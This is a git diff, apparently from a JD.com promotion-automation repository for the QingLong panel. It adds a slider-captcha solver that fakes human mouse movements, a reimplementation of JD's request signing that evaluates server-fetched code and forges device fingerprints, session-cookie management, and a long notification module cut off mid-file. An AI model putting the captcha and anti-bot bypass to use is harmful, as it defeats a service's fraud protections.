100, + }); + } + } + moveToAndCollect({ + x, + y, + duration + }) { + let movedX = 0; + let movedY = 0; + let movedT = 0; + const times = duration / this.minDuration; + let perX = x / times; + let perY = y / times; + let padDuration = 0; + if (Math.abs(perX) < 1) { + padDuration = duration / Math.abs(x) - this.minDuration; + perX = 1; + perY = y / Math.abs(x); + } + while (Math.abs(movedX) < Math.abs(x)) { + const rDuration = parseInt(padDuration + Math.random() * 16 - 4, 10); + movedX += perX + Math.random() * 2 - 1; + movedY += perY; + movedT += this.minDuration + rDuration; + const currX = parseInt(this.x + 20, 10); + const currY = parseInt(this.y + 20, 10); + const currT = this.t + movedT; + this.pos.push([currX, currY, currT]); + } + this.x += x; + this.y += y; + this.t += Math.max(duration, movedT); + } +} +exports.JDJRValidator = JDJRValidator diff --git a/function/jdcookie.js b/function/jdcookie.js new file mode 100644 index 0000000..5444c49 --- /dev/null +++ b/function/jdcookie.js @@ -0,0 +1,6 @@ +// 本地测试在这边填写cookie +let cookie = [ +]; +module.exports = { + cookie +} diff --git a/function/jxAlgo.js b/function/jxAlgo.js new file mode 100644 index 0000000..700ba86 --- /dev/null +++ b/function/jxAlgo.js @@ -0,0 +1,204 @@ +let request = require("request"); +let CryptoJS = require('crypto-js'); +let qs = require("querystring"); +Date.prototype.Format = function(fmt) { + var e, + n = this, + d = fmt, + l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--;) i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0, 16) +} + +function getUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} +class jxAlgo { + constructor(params = {}) { + this.appId = 10001 + this.result = {} + this.timestamp = Date.now(); + for (let i in params) { + this[i] = params[i] + } + } + set(params = {}) { + for (let i in params) { + this[i] = params[i] + } + } + get(key) { + return this[key] + } + async dec(url) { + if (!this.tk) { + this.fingerprint = generateFp(); + await this.requestAlgo() + } + let obj = qs.parse(url.split("?")[1]); + let stk = obj['_stk']; + return this.h5st(this.timestamp, stk, url) + } + h5st(time, stk, url) { + stk = stk || (url ? getUrlData(url, '_stk') : '') + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = this.enCryptMethodJD(this.tk, this.fingerprint.toString(), timestamp.toString(), this.appId.toString(), CryptoJS).toString(CryptoJS.enc.Hex); + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length - 1 ? '' : '&'}`; + }) + const hash2 = CryptoJS.HmacSHA256(st, hash1.toString()).toString(CryptoJS.enc.Hex); + const enc = (["".concat(timestamp.toString()), "".concat(this.fingerprint.toString()), "".concat(this.appId.toString()), "".concat(this.tk), "".concat(hash2)].join(";")) + this.result['fingerprint'] = this.fingerprint; + this.result['timestamp'] = this.timestamp + this.result['stk'] = stk; + this.result['h5st'] = enc + let sp = url.split("?"); + let obj = qs.parse(sp[1]) + if (obj.callback) { + delete obj.callback + } + let params = Object.assign(obj, { + '_time': this.timestamp, + '_': this.timestamp, + 'timestamp': this.timestamp, + 'sceneval': 2, + 'g_login_type': 1, + 'h5st': enc, + }) + this.result['url'] = `${sp[0]}?${qs.stringify(params)}` + return this.result + } + token(user) { + let nickname = user.includes('pt_pin') ? user.match(/pt_pin=([^;]+)/)[1] : user; + let phoneId = this.createuuid(40, 'lc'); + + let token = this.md5(decodeURIComponent(nickname) + this.timestamp + phoneId + 'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy'); + return { + 'strPgtimestamp': this.timestamp, + 'strPhoneID': phoneId, + 'strPgUUNum': token + } + } + md5(encryptString) { + return CryptoJS.MD5(encryptString).toString() + } + createuuid(a, c) { + switch (c) { + case "a": + c = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; + break; + case "n": + c = "0123456789"; + break; + case "c": + c = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; + break; + case "l": + c = "abcdefghijklmnopqrstuvwxyz"; + break; + case 'cn': + case 'nc': + c = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' + break; + case "lc": + case "cl": + c = "abcdefghijklmnopqrstuvwxyz0123456789"; + break; + default: + c = "0123456789abcdef" + } + var e = ""; + for (var g = 0; g < a; g++) e += c[Math.ceil(1E8 * Math.random()) % c.length]; + return e + } + async requestAlgo() { + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': 'jdpingou;iPhone;4.9.4;12.4;ae49fae72d0a8976f5155267f56ec3a5b0da75c3;network/wifi;model/iPhone8,4;appBuild/100579;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/1;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/pingou/dream_factory/index.html?ptag=7155.9.4', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "1.0", + "fp": this.fingerprint, + "appId": this.appId.toString(), + "timestamp": this.timestamp, + "platform": "web", + "expandParams": "" + }) + } + return new Promise(async resolve => { + request.post(options, (err, resp, data) => { + try { + if (data) { + data = JSON.parse(data); + if (data['status'] === 200) { + let result = data.data.result + this.tk = result.tk; + let enCryptMethodJDString = result.algo; + if (enCryptMethodJDString) { + this.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + } + this.result = result + } + } + } catch (e) { + console.log(e) + } finally { + resolve(this.result); + } + }) + }) + } +} +module.exports = jxAlgo diff --git a/function/ql.js b/function/ql.js new file mode 100644 index 0000000..db832c9 --- /dev/null +++ b/function/ql.js @@ -0,0 +1,149 @@ +'use strict'; + +const got = require('got'); +require('dotenv').config(); +const { readFile } = require('fs/promises'); +const path = require('path'); + +const qlDir = '/ql'; +const authFile = path.join(qlDir, 'config/auth.json'); + +const api = got.extend({ + prefixUrl: 'http://localhost:5600', + retry: { limit: 0 }, +}); + +async function getToken() { + const authConfig = JSON.parse(await readFile(authFile)); + return authConfig.token; +} + +module.exports.getEnvs = async () => { + const token = await getToken(); + const body = await api({ + url: 'api/envs', + searchParams: { + searchValue: 'JD_COOKIE', + t: Date.now(), + }, + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + }, + }).json(); + return body.data; +}; + +module.exports.getEnvsCount = async () => { + const data = await this.getEnvs(); + return data.length; +}; + +module.exports.addEnv = async (cookie, remarks) => { + const token = await getToken(); + const body = await api({ + method: 'post', + url: 'api/envs', + params: { t: Date.now() }, + json: [{ + name: 'JD_COOKIE', + value: cookie, + remarks, + }], + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + 'Content-Type': 'application/json;charset=UTF-8', + }, + }).json(); + return body; +}; + +module.exports.updateEnv = async (cookie, eid, remarks) => { + const token = await getToken(); + const body = await api({ + method: 'put', + url: 'api/envs', + params: { t: Date.now() }, + json: { + name: 'JD_COOKIE', + value: cookie, + _id: eid, + remarks, + }, + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + 'Content-Type': 'application/json;charset=UTF-8', + }, + }).json(); + return body; +}; + +module.exports.DisableCk = async (eid) => { + const token = await getToken(); + const body = await api({ + method: 'put', + url: 'api/envs/disable', + params: { t: Date.now() }, + body: JSON.stringify([eid]), + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + 'Content-Type': 'application/json;charset=UTF-8', + }, + }).json(); + return body; +}; + +module.exports.EnableCk = async (eid) => { + const token = await getToken(); + const body = await api({ + method: 'put', + url: 'api/envs/enable', + params: { t: Date.now() }, + body: JSON.stringify([eid]), + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + 'Content-Type': 'application/json;charset=UTF-8', + }, + }).json(); + return body; +}; + +module.exports.getstatus = async (eid) => { + const envs = await this.getEnvs(); + for (let i = 0; i < envs.length; i++) { + if(envs[i]._id==eid){ + return envs[i].status; + } + } + return 99; +}; + +module.exports.getEnvById = async (eid) => { + const envs = await this.getEnvs(); + for (let i = 0; i < envs.length; i++) { + if(envs[i]._id==eid){ + return envs[i].value; + } + } + return ""; +}; + +module.exports.delEnv = async (eid) => { + const token = await getToken(); + const body = await api({ + method: 'delete', + url: 'api/envs', + params: { t: Date.now() }, + body: JSON.stringify([eid]), + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + 'Content-Type': 'application/json;charset=UTF-8', + }, + }).json(); + return body; +}; diff --git a/function/sendNotify.js b/function/sendNotify.js new file mode 100644 index 0000000..2b316f7 --- /dev/null +++ b/function/sendNotify.js @@ -0,0 +1,2499 @@ +/* + * @Author: lxk0301 https://gitee.com/lxk0301 + * @Date: 2020-08-19 16:12:40 + * @Last Modified by: whyour + * @Last Modified time: 2021-5-1 15:00:54 + * sendNotify 推送通知功能 + * @param text 通知头 + * @param desp 通知体 + * @param params 某些推送通知方式点击弹窗可跳转, 例:{ url: 'https://abc.com' } + * @param author 作者仓库等信息 例:`本通知 By:https://github.com/whyour/qinglong` + */ +//详细说明参考 https://github.com/ccwav/QLScript2. +const querystring = require('querystring'); +const exec = require('child_process').exec; +const $ = new Env(); +const timeout = 15000; //超时时间(单位毫秒) + +// =======================================go-cqhttp通知设置区域=========================================== +//gobot_url 填写请求地址http://127.0.0.1/send_private_msg +//gobot_token 填写在go-cqhttp文件设置的访问密钥 +//gobot_qq 填写推送到个人QQ或者QQ群号 +//go-cqhttp相关API https://docs.go-cqhttp.org/api +let GOBOT_URL = ''; // 推送到个人QQ: http://127.0.0.1/send_private_msg 群:http://127.0.0.1/send_group_msg +let GOBOT_TOKEN = ''; //访问密钥 +let GOBOT_QQ = ''; // 如果GOBOT_URL设置 /send_private_msg 则需要填入 user_id=个人QQ 相反如果是 /send_group_msg 则需要填入 group_id=QQ群 + +// =======================================微信server酱通知设置区域=========================================== +//此处填你申请的SCKEY. +//(环境变量名 PUSH_KEY) +let SCKEY = ''; + +// =======================================Bark App通知设置区域=========================================== +//此处填你BarkAPP的信息(IP/设备码,例如:https://api.day.app/XXXXXXXX) +let BARK_PUSH = ''; +//BARK app推送铃声,铃声列表去APP查看复制填写 +let BARK_SOUND = ''; +//BARK app推送消息的分组, 默认为"QingLong" +let BARK_GROUP = 'QingLong'; + +// =======================================telegram机器人通知设置区域=========================================== +//此处填你telegram bot 的Token,telegram机器人通知推送必填项.例如:1077xxx4424:AAFjv0FcqxxxxxxgEMGfi22B4yh15R5uw +//(环境变量名 TG_BOT_TOKEN) +let TG_BOT_TOKEN = ''; +//此处填你接收通知消息的telegram用户的id,telegram机器人通知推送必填项.例如:129xxx206 +//(环境变量名 TG_USER_ID) +let TG_USER_ID = ''; +//tg推送HTTP代理设置(不懂可忽略,telegram机器人通知推送功能中非必填) +let TG_PROXY_HOST = ''; //例如:127.0.0.1(环境变量名:TG_PROXY_HOST) +let TG_PROXY_PORT = ''; //例如:1080(环境变量名:TG_PROXY_PORT) +let TG_PROXY_AUTH = ''; //tg代理配置认证参数 +//Telegram api自建的反向代理地址(不懂可忽略,telegram机器人通知推送功能中非必填),默认tg官方api(环境变量名:TG_API_HOST) +let TG_API_HOST = 'api.telegram.org'; +// =======================================钉钉机器人通知设置区域=========================================== +//此处填你钉钉 bot 的webhook,例如:5a544165465465645d0f31dca676e7bd07415asdasd +//(环境变量名 DD_BOT_TOKEN) +let DD_BOT_TOKEN = ''; +//密钥,机器人安全设置页面,加签一栏下面显示的SEC开头的字符串 +let DD_BOT_SECRET = ''; + +// =======================================企业微信机器人通知设置区域=========================================== +//此处填你企业微信机器人的 webhook(详见文档 https://work.weixin.qq.com/api/doc/90000/90136/91770),例如:693a91f6-7xxx-4bc4-97a0-0ec2sifa5aaa +//(环境变量名 QYWX_KEY) +let QYWX_KEY = ''; + +// =======================================企业微信应用消息通知设置区域=========================================== +/* +此处填你企业微信应用消息的值(详见文档 https://work.weixin.qq.com/api/doc/90000/90135/90236) +环境变量名 QYWX_AM依次填入 corpid,corpsecret,touser(注:多个成员ID使用|隔开),agentid,消息类型(选填,不填默认文本消息类型) +注意用,号隔开(英文输入法的逗号),例如:wwcff56746d9adwers,B-791548lnzXBE6_BWfxdf3kSTMJr9vFEPKAbh6WERQ,mingcheng,1000001,2COXgjH2UIfERF2zxrtUOKgQ9XklUqMdGSWLBoW_lSDAdafat +可选推送消息类型(推荐使用图文消息(mpnews)): +- 文本卡片消息: 0 (数字零) +- 文本消息: 1 (数字一) +- 图文消息(mpnews): 素材库图片id, 可查看此教程(http://note.youdao.com/s/HMiudGkb)或者(https://note.youdao.com/ynoteshare1/index.html?id=1a0c8aff284ad28cbd011b29b3ad0191&type=note) + */ +let QYWX_AM = ''; + +// =======================================iGot聚合推送通知设置区域=========================================== +//此处填您iGot的信息(推送key,例如:https://push.hellyw.com/XXXXXXXX) +let IGOT_PUSH_KEY = ''; + +// =======================================push+设置区域======================================= +//官方文档:http://www.pushplus.plus/ +//PUSH_PLUS_TOKEN:微信扫码登录后一对一推送或一对多推送下面的token(您的Token),不提供PUSH_PLUS_USER则默认为一对一推送 +//PUSH_PLUS_USER: 一对多推送的“群组编码”(一对多推送下面->您的群组(如无则新建)->群组编码,如果您是创建群组人。也需点击“查看二维码”扫描绑定,否则不能接受群组消息推送) +let PUSH_PLUS_TOKEN = ''; +let PUSH_PLUS_USER = ''; +let PUSH_PLUS_TOKEN_hxtrip = ''; +let PUSH_PLUS_USER_hxtrip = ''; + +// ======================================= WxPusher 通知设置区域 =========================================== +// 此处填你申请的 appToken. 官方文档:https://wxpusher.zjiecode.com/docs +// WP_APP_TOKEN 可在管理台查看: https://wxpusher.zjiecode.com/admin/main/app/appToken +// WP_TOPICIDS 群发, 发送目标的 topicId, 以 ; 分隔! 使用 WP_UIDS 单发的时候, 可以不传 +// WP_UIDS 发送目标的 uid, 以 ; 分隔。注意 WP_UIDS 和 WP_TOPICIDS 可以同时填写, 也可以只填写一个。 +// WP_URL 原文链接, 可选参数 +let WP_APP_TOKEN = ""; +let WP_TOPICIDS = ""; +let WP_UIDS = ""; +let WP_URL = ""; + +let WP_APP_TOKEN_ONE = ""; +if (process.env.WP_APP_TOKEN_ONE) { + WP_APP_TOKEN_ONE = process.env.WP_APP_TOKEN_ONE; +} +let WP_UIDS_ONE = ""; + +// =======================================gotify通知设置区域============================================== +//gotify_url 填写gotify地址,如https://push.example.de:8080 +//gotify_token 填写gotify的消息应用token +//gotify_priority 填写推送消息优先级,默认为0 +let GOTIFY_URL = ''; +let GOTIFY_TOKEN = ''; +let GOTIFY_PRIORITY = 0; + +/** + * sendNotify 推送通知功能 + * @param text 通知头 + * @param desp 通知体 + * @param params 某些推送通知方式点击弹窗可跳转, 例:{ url: 'https://abc.com' } + * @param author 作者仓库等信息 例:`本通知 By:https://github.com/whyour/qinglong` + * @returns {Promise} + */ +let PushErrorTime = 0; +let strTitle = ""; +let ShowRemarkType = "1"; +let Notify_NoCKFalse = "false"; +let Notify_NoLoginSuccess = "false"; +let UseGroupNotify = 1; +let strAuthor = ""; +const { + getEnvs +} = require('./ql'); +const fs = require('fs'); +let strCKFile = '/ql/scripts/CKName_cache.json'; +let Fileexists = fs.existsSync(strCKFile); +let TempCK = []; +if (Fileexists) { + console.log("加载sendNotify,检测到别名缓存文件,载入..."); + TempCK = fs.readFileSync(strCKFile, 'utf-8'); + if (TempCK) { + TempCK = TempCK.toString(); + TempCK = JSON.parse(TempCK); + } +} +let strUidFile = './CK_WxPusherUid.json'; +let UidFileexists = fs.existsSync(strUidFile); +let TempCKUid = []; +if (UidFileexists) { + console.log("检测到WxPusherUid文件,载入..."); + TempCKUid = fs.readFileSync(strUidFile, 'utf-8'); + if (TempCKUid) { + TempCKUid = TempCKUid.toString(); + TempCKUid = JSON.parse(TempCKUid); + } +} + +let tempAddCK = {}; +let boolneedUpdate = false; +let strCustom = ""; +let strCustomArr = []; +let strCustomTempArr = []; +let Notify_CKTask = ""; +let Notify_SkipText = []; +async function sendNotify(text, desp, params = {}, author = '\n\n本通知 By ccwav Mod') { + console.log(`开始发送通知...`); + try { + //Reset 变量 + console.log("通知标题: " + text); + UseGroupNotify = 1; + strTitle = ""; + GOBOT_URL = ''; + GOBOT_TOKEN = ''; + GOBOT_QQ = ''; + SCKEY = ''; + BARK_PUSH = ''; + BARK_SOUND = ''; + BARK_GROUP = 'QingLong'; + TG_BOT_TOKEN = ''; + TG_USER_ID = ''; + TG_PROXY_HOST = ''; + TG_PROXY_PORT = ''; + TG_PROXY_AUTH = ''; + TG_API_HOST = 'api.telegram.org'; + DD_BOT_TOKEN = ''; + DD_BOT_SECRET = ''; + QYWX_KEY = ''; + QYWX_AM = ''; + IGOT_PUSH_KEY = ''; + PUSH_PLUS_TOKEN = ''; + PUSH_PLUS_USER = ''; + PUSH_PLUS_TOKEN_hxtrip = ''; + PUSH_PLUS_USER_hxtrip = ''; + Notify_CKTask = ""; + Notify_SkipText = []; + + //变量开关 + var Use_serverNotify = true; + var Use_pushPlusNotify = true; + var Use_BarkNotify = true; + var Use_tgBotNotify = true; + var Use_ddBotNotify = true; + var Use_qywxBotNotify = true; + var Use_qywxamNotify = true; + var Use_iGotNotify = true; + var Use_gobotNotify = true; + var Use_pushPlushxtripNotify = true; + var Use_WxPusher = true; + + if (process.env.NOTIFY_NOCKFALSE) { + Notify_NoCKFalse = process.env.NOTIFY_NOCKFALSE; + } + strAuthor = ""; + if (process.env.NOTIFY_AUTHOR) { + strAuthor = process.env.NOTIFY_AUTHOR; + } + if (process.env.NOTIFY_SHOWNAMETYPE) { + ShowRemarkType = process.env.NOTIFY_SHOWNAMETYPE; + } + if (process.env.NOTIFY_NOLOGINSUCCESS) { + Notify_NoLoginSuccess = process.env.NOTIFY_NOLOGINSUCCESS; + } + if (process.env.NOTIFY_CKTASK) { + Notify_CKTask = process.env.NOTIFY_CKTASK; + } + + if (process.env.NOTIFY_SKIP_TEXT && desp) { + Notify_SkipText = process.env.NOTIFY_SKIP_TEXT.split('&'); + if (Notify_SkipText.length > 0) { + for (var Templ in Notify_SkipText) { + if (desp.indexOf(Notify_SkipText[Templ]) != -1) { + console.log("检测内容到内容存在屏蔽推送的关键字(" + Notify_SkipText[Templ] + "),将跳过推送..."); + return; + } + } + } + } + + if (text.indexOf("cookie已失效") != -1 || desp.indexOf("重新登录获取") != -1 || text == "Ninja 运行通知") { + + if (Notify_CKTask) { + console.log("触发CK脚本,开始执行...."); + Notify_CKTask = "task " + Notify_CKTask + " now"; + await exec(Notify_CKTask, function (error, stdout, stderr) { + console.log(error, stdout, stderr) + }); + } + if (Notify_NoCKFalse == "true" && text != "Ninja 运行通知") { + return; + } + } + + //检查黑名单屏蔽通知 + const notifySkipList = process.env.NOTIFY_SKIP_LIST ? process.env.NOTIFY_SKIP_LIST.split('&') : []; + let titleIndex = notifySkipList.findIndex((item) => item === text); + + if (titleIndex !== -1) { + console.log(`${text} 在推送黑名单中,已跳过推送`); + return; + } + + if (text.indexOf("已可领取") != -1) { + if (text.indexOf("农场") != -1) { + strTitle = "东东农场领取"; + } else { + strTitle = "东东萌宠领取"; + } + } + if (text.indexOf("汪汪乐园养joy") != -1) { + strTitle = "汪汪乐园养joy领取"; + } + + if (text == "京喜工厂") { + if (desp.indexOf("元造进行兑换") != -1) { + strTitle = "京喜工厂领取"; + } + } + + if (text.indexOf("任务") != -1 && (text.indexOf("新增") != -1 || text.indexOf("删除") != -1)) { + strTitle = "脚本任务更新"; + } + if (strTitle) { + const notifyRemindList = process.env.NOTIFY_NOREMIND ? process.env.NOTIFY_NOREMIND.split('&') : []; + titleIndex = notifyRemindList.findIndex((item) => item === strTitle); + + if (titleIndex !== -1) { + console.log(`${text} 在领取信息黑名单中,已跳过推送`); + return; + } + + } else { + strTitle = text; + } + + if (Notify_NoLoginSuccess == "true") { + if (desp.indexOf("登陆成功") != -1) { + console.log(`登陆成功不推送`); + return; + } + } + + if (strTitle == "汪汪乐园养joy领取" && WP_APP_TOKEN_ONE) { + console.log(`捕获汪汪乐园养joy领取通知,开始尝试一对一推送...`); + const TempList = text.split('- '); + if (TempList.length == 3) { + var strNickName = TempList[TempList.length - 1]; + var strPtPin = ""; + console.log(`捕获别名:` + strNickName); + if (TempCK) { + for (let j = 0; j < TempCK.length; j++) { + if (TempCK[j].nickName == strNickName) { + strPtPin = TempCK[j].pt_pin; + break; + } + if (TempCK[j].pt_pin == strNickName) { + strPtPin = TempCK[j].pt_pin; + break; + } + } + if (strPtPin) { + console.log(`别名反查PtPin成功:` + strPtPin); + await sendNotifybyWxPucher("汪汪乐园领取通知", `【京东账号】${strPtPin}\n当前等级: 30\n已自动领取最高等级奖励\n请前往京东极速版APP查看使用优惠券\n活动入口:京东极速版APP->我的->优惠券->京券`, strPtPin); + } else { + console.log(`别名反查PtPin失败: 1.用户更改了别名 2.可能是新用户,别名缓存还没有。`); + } + } + } else { + console.log(`尝试一对一推送失败,无法捕获别名...`); + } + } + //检查脚本名称是否需要通知到Group2,Group2读取原环境配置的变量名后加2的值.例如: QYWX_AM2 + const notifyGroup2List = process.env.NOTIFY_GROUP2_LIST ? process.env.NOTIFY_GROUP2_LIST.split('&') : []; + const titleIndex2 = notifyGroup2List.findIndex((item) => item === strTitle); + const notifyGroup3List = process.env.NOTIFY_GROUP3_LIST ? process.env.NOTIFY_GROUP3_LIST.split('&') : []; + const titleIndexGp3 = notifyGroup3List.findIndex((item) => item === strTitle); + const notifyGroup4List = process.env.NOTIFY_GROUP4_LIST ? process.env.NOTIFY_GROUP4_LIST.split('&') : []; + const titleIndexGp4 = notifyGroup4List.findIndex((item) => item === strTitle); + const notifyGroup5List = process.env.NOTIFY_GROUP5_LIST ? process.env.NOTIFY_GROUP5_LIST.split('&') : []; + const titleIndexGp5 = notifyGroup5List.findIndex((item) => item === strTitle); + const notifyGroup6List = process.env.NOTIFY_GROUP6_LIST ? process.env.NOTIFY_GROUP6_LIST.split('&') : []; + const titleIndexGp6 = notifyGroup6List.findIndex((item) => item === strTitle); + + if (titleIndex2 !== -1) { + console.log(`${strTitle} 在群组2推送名单中,初始化群组推送`); + UseGroupNotify = 2; + } + if (titleIndexGp3 !== -1) { + console.log(`${strTitle} 在群组3推送名单中,初始化群组推送`); + UseGroupNotify = 3; + } + if (titleIndexGp4 !== -1) { + console.log(`${strTitle} 在群组4推送名单中,初始化群组推送`); + UseGroupNotify = 4; + } + if (titleIndexGp5 !== -1) { + console.log(`${strTitle} 在群组5推送名单中,初始化群组推送`); + UseGroupNotify = 5; + } + if (titleIndexGp6 !== -1) { + console.log(`${strTitle} 在群组6推送名单中,初始化群组推送`); + UseGroupNotify = 6; + } + if (process.env.NOTIFY_CUSTOMNOTIFY) { + strCustom = process.env.NOTIFY_CUSTOMNOTIFY; + } + if (strCustom) { + strCustomArr = strCustom.replace(/^\[|\]$/g, "").split(","); + strCustomTempArr = []; + for (var Tempj in strCustomArr) { + strCustomTempArr = strCustomArr[Tempj].split("&"); + if (strCustomTempArr.length > 1) { + if (strTitle == strCustomTempArr[0]) { + console.log("检测到自定义设定,开始执行配置..."); + if (strCustomTempArr[1] == "组1") { + console.log("自定义设定强制使用组1配置通知..."); + UseGroupNotify = 1; + } + if (strCustomTempArr[1] == "组2") { + console.log("自定义设定强制使用组2配置通知..."); + UseGroupNotify = 2; + } + if (strCustomTempArr[1] == "组3") { + console.log("自定义设定强制使用组3配置通知..."); + UseGroupNotify = 3; + } + if (strCustomTempArr[1] == "组4") { + console.log("自定义设定强制使用组4配置通知..."); + UseGroupNotify = 4; + } + if (strCustomTempArr[1] == "组5") { + console.log("自定义设定强制使用组5配置通知..."); + UseGroupNotify = 5; + } + if (strCustomTempArr[1] == "组6") { + console.log("自定义设定强制使用组6配置通知..."); + UseGroupNotify = 6; + } + + if (strCustomTempArr.length > 2) { + console.log("关闭所有通知变量..."); + Use_serverNotify = false; + Use_pushPlusNotify = false; + Use_pushPlushxtripNotify = false; + Use_BarkNotify = false; + Use_tgBotNotify = false; + Use_ddBotNotify = false; + Use_qywxBotNotify = false; + Use_qywxamNotify = false; + Use_iGotNotify = false; + Use_gobotNotify = false; + + for (let Tempk = 2; Tempk < strCustomTempArr.length; Tempk++) { + var strTrmp = strCustomTempArr[Tempk]; + switch (strTrmp) { + case "Server酱": + Use_serverNotify = true; + console.log("自定义设定启用Server酱进行通知..."); + break; + case "pushplus": + Use_pushPlusNotify = true; + console.log("自定义设定启用pushplus(推送加)进行通知..."); + break; + case "pushplushxtrip": + Use_pushPlushxtripNotify = true; + console.log("自定义设定启用pushplus_hxtrip(推送加)进行通知..."); + break; + case "Bark": + Use_BarkNotify = true; + console.log("自定义设定启用Bark进行通知..."); + break; + case "TG机器人": + Use_tgBotNotify = true; + console.log("自定义设定启用telegram机器人进行通知..."); + break; + case "钉钉": + Use_ddBotNotify = true; + console.log("自定义设定启用钉钉机器人进行通知..."); + break; + case "企业微信机器人": + Use_qywxBotNotify = true; + console.log("自定义设定启用企业微信机器人进行通知..."); + break; + case "企业微信应用消息": + Use_qywxamNotify = true; + console.log("自定义设定启用企业微信应用消息进行通知..."); + break; + case "iGotNotify": + Use_iGotNotify = true; + console.log("自定义设定启用iGot进行通知..."); + break; + case "gobotNotify": + Use_gobotNotify = true; + console.log("自定义设定启用go-cqhttp进行通知..."); + break; + case "WxPusher": + Use_WxPusher = true; + console.log("自定义设定启用WxPusher进行通知..."); + break; + + } + } + + } + } + } + } + + } + + //console.log("UseGroup2 :"+UseGroup2); + //console.log("UseGroup3 :"+UseGroup3); + + + switch (UseGroupNotify) { + case 1: + if (process.env.GOBOT_URL && Use_gobotNotify) { + GOBOT_URL = process.env.GOBOT_URL; + } + if (process.env.GOBOT_TOKEN && Use_gobotNotify) { + GOBOT_TOKEN = process.env.GOBOT_TOKEN; + } + if (process.env.GOBOT_QQ && Use_gobotNotify) { + GOBOT_QQ = process.env.GOBOT_QQ; + } + + if (process.env.PUSH_KEY && Use_serverNotify) { + SCKEY = process.env.PUSH_KEY; + } + + if (process.env.WP_APP_TOKEN && Use_WxPusher) { + WP_APP_TOKEN = process.env.WP_APP_TOKEN; + } + + if (process.env.WP_TOPICIDS && Use_WxPusher) { + WP_TOPICIDS = process.env.WP_TOPICIDS; + } + + if (process.env.WP_UIDS && Use_WxPusher) { + WP_UIDS = process.env.WP_UIDS; + } + + if (process.env.WP_URL && Use_WxPusher) { + WP_URL = process.env.WP_URL; + } + if (process.env.BARK_PUSH && Use_BarkNotify) { + if (process.env.BARK_PUSH.indexOf('https') > -1 || process.env.BARK_PUSH.indexOf('http') > -1) { + //兼容BARK自建用户 + BARK_PUSH = process.env.BARK_PUSH; + } else { + BARK_PUSH = `https://api.day.app/${process.env.BARK_PUSH}`; + } + if (process.env.BARK_SOUND) { + BARK_SOUND = process.env.BARK_SOUND; + } + if (process.env.BARK_GROUP) { + BARK_GROUP = process.env.BARK_GROUP; + } + } else { + if (BARK_PUSH && BARK_PUSH.indexOf('https') === -1 && BARK_PUSH.indexOf('http') === -1 && Use_BarkNotify) { + //兼容BARK本地用户只填写设备码的情况 + BARK_PUSH = `https://api.day.app/${BARK_PUSH}`; + } + } + if (process.env.TG_BOT_TOKEN && Use_tgBotNotify) { + TG_BOT_TOKEN = process.env.TG_BOT_TOKEN; + } + if (process.env.TG_USER_ID && Use_tgBotNotify) { + TG_USER_ID = process.env.TG_USER_ID; + } + if (process.env.TG_PROXY_AUTH && Use_tgBotNotify) + TG_PROXY_AUTH = process.env.TG_PROXY_AUTH; + if (process.env.TG_PROXY_HOST && Use_tgBotNotify) + TG_PROXY_HOST = process.env.TG_PROXY_HOST; + if (process.env.TG_PROXY_PORT && Use_tgBotNotify) + TG_PROXY_PORT = process.env.TG_PROXY_PORT; + if (process.env.TG_API_HOST && Use_tgBotNotify) + TG_API_HOST = process.env.TG_API_HOST; + + if (process.env.DD_BOT_TOKEN && Use_ddBotNotify) { + DD_BOT_TOKEN = process.env.DD_BOT_TOKEN; + if (process.env.DD_BOT_SECRET) { + DD_BOT_SECRET = process.env.DD_BOT_SECRET; + } + } + + if (process.env.QYWX_KEY && Use_qywxBotNotify) { + QYWX_KEY = process.env.QYWX_KEY; + } + + if (process.env.QYWX_AM && Use_qywxamNotify) { + QYWX_AM = process.env.QYWX_AM; + } + + if 